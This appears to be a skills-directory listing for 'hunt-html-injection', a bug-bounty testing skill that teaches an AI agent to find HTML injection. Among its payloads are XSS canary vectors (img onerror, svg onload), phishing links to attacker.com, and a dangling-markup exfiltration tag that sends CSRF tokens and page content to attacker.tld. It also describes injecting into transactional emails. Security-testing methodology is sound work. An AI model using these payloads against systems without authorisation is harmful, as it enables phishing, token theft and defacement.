Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss.
Scanned 9/3/2026
Install to Claude Code
npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-html-injection --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Hunt Html Injection?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/elementalsouls-hunt-html-injection)More formats (shields.io, HTML) on the badges page.
---
name: hunt-html-injection
description: "Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss."
sources: hackerone_public, public_research
report_count: 6
---
## What is HTML Injection
HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting `<b>`, `<h1>`, `<a>`, `<img>`, or `<form>` tags is sufficient.
**To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary** — e.g. `"><img src=x onerror=alert(91234)>` or `<svg onload=alert(91234)>`. A distinctive 4+ digit number (not `alert(1)`) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.
**Impact:**
- Phishing via injected `<form>` or `<a href="attacker.com">` tags
- UI defacement — `<h1>HACKED</h1>` renders visually on the page
- Credential harvesting via injected login forms
- Redirect via `<meta http-equiv="refresh">`
- Stepping stone to XSS (may be blocked by WAF on `<script>` but not `<img onerror>`)
- **Dangling-markup exfiltration** — even with `<script>` and event handlers filtered, an *unterminated* tag can capture page content that follows it. Inject `<img src='//attacker.tld/log?html=` (no closing quote/`>`); the browser treats everything up to the next `'` as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw `<` is reflected.
- **Email/notification-context injection** — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected `<a>`/`<img>`/dangling markup in the *recipient's* inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: <https://hackerone.com/reports/1935628>, <https://hackerone.com/reports/3556892>.
## Attack Surface
Any input that is reflected or stored and then displayed in an HTML context:
- Search boxes (`?q=`)
- Comments, feedback, reviews
- Profile fields (name, bio, username)
- Error messages (`?error=`, `?message=`)
- Subject / body of contact forms
- Admin-visible fields (ticket titles, usernames in logs)
## Autonomous Testing Priority
**Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.**
**Pattern 1 — Basic HTML tag injection:**
```
<b>CANARY</b>
"><b>CANARY</b>
```
Use a unique string as CANARY (something distinct to this test run). **Proof:** the response contains `<b>CANARY` with literal `<` angle brackets — not `<b>CANARY`. A properly encoded app would escape `<` to `<`.
**Try multiple tag types when `<b>` is filtered:**
- `<h1>CANARY</h1>` — heading tag (often less filtered)
- `<img src=x onerror=CANARY>` — attribute context
- `<a href="https://attacker.com">click</a>` — link injection (phishing proof)
**For stored injection:** inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.
**Escalate immediately:** if `<b>` injection works, try `<script>alert(1)</script>` — the same unsanitised input may allow full XSS.
## Proof
Confirmed when your injected tag appears in the response body with literal `<` angle brackets (not HTML-encoded). A safe app renders `<b>CANARY</b>`; a vulnerable app renders `<b>CANARY</b>`.
## Distinguishing HTML Injection from XSS
- HTML injection: `<b>text</b>` renders as **text** in the browser — no JS execution needed.
- XSS: `<script>alert(1)</script>` executes JavaScript.
Some WAFs block `<script>` but pass `<b>` or `<img>` — start with non-script tags, then escalate.
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!